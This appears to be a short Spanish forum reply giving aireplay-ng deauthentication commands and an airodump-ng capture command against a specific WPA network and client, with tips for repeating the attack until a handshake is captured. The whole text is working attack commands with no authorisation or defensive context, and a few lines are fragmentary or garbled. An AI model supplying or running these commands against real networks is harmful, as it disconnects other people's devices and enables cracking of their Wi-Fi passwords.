aireplay-ng -0 0 -a BSSID -c Cliente asociado mon0 quiza tengas que lanzarlos varias veces
0
aireplay-ng -0 5 -a BSSID -c Cliente asociado mon0
ejemplo:
airodump-ng --encrypt wpa --bssid 64:68:0c:d5:59:26 -c 3 -a -w WPA.cap (Tu interfaz)
Con esto filtramos unicamente la linea que quieres "WLAN_xxx"
Luego tienes que deautenticar al cliente que está asociado a la línea:
aireplay-ng -0 1 -a 64:68:0c:d5:59:26 -c 64:68:8c:9d:59:26 (Tu interfaz)
cambia el 0 por un 5 8
puede ser que no estes al alcance para obtener el Handshake hay programas graficos que rulan bien